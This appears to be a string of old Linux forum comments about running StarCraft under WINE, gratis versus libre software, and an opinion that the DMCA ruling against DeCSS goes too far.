You must have a pretty powerful machine. On my home machine (which is, admittedly, a POS) StarCraft runs just fine under NT4.0, but is unbearably slow under WINE. I'm guessing that it has to do with DirectX emulation. I imagine that under WINE, DirectX can't touch the hardware dirrectly, while under NT it is able to directly access the hardware at some points.
Also, the Battle.net chat client built-into StarCraft is really hosed in WINE.
And also zonk LILO in the process... no thanks.
I think you misread what I wrote. The Real tools are gratis (free, as in beer), not libre (free as in speech). I asked if the inverse existsed: libre but not gratis.
Even a foolish idiot wouldn't make such a spurious claim.
That's essentially the claim that most of the "information wants to be free" crowd uses though. They say it's mathematically/physically impossible to prevent people from copying the data, so there shouldn't be laws against it. In other words, "information should be available without charge to anyone clever enough to [get it]". Yeah, they probably wouldn't use the term "break into" (like thge ruling), but rather somethiung that means the same thing but sounds more benign...
Now before I get flamed, I should point out that I don't agree with the ruling. (oh, and IANAL) I think the DMCA goes way too far. I think that copyright protection doesn't need legal protection. Copyright alone should be enough. If people use DeCSS to illegally copy DVD's, then go after them. People using DeCSS for fair use aren't doing anything wrong. So in other words, DMCA is unnecessary, and makes things illegal that shouldn't be.
Unfortunately, because of the boneheaded way American law works, once a law is passed, you pretty well can't get rid of it unless you can prove that it's "unconstitutional", and likewise, you can't create laws that conflict with the constitutional dogma...
Let the flaming begin!
Because some of it is free (as in beer), but not free (as in speech).
Well then "non-free" isn't that precise is it? Maybe the directory should be called "not-what-RMS-calls-free-today".
Is there any software that is free (as in speech) but not free (as in beer)?
I picked up a Debian at LWCE today. Maybe I'll install it. I also picked up Mandrake though... decisions.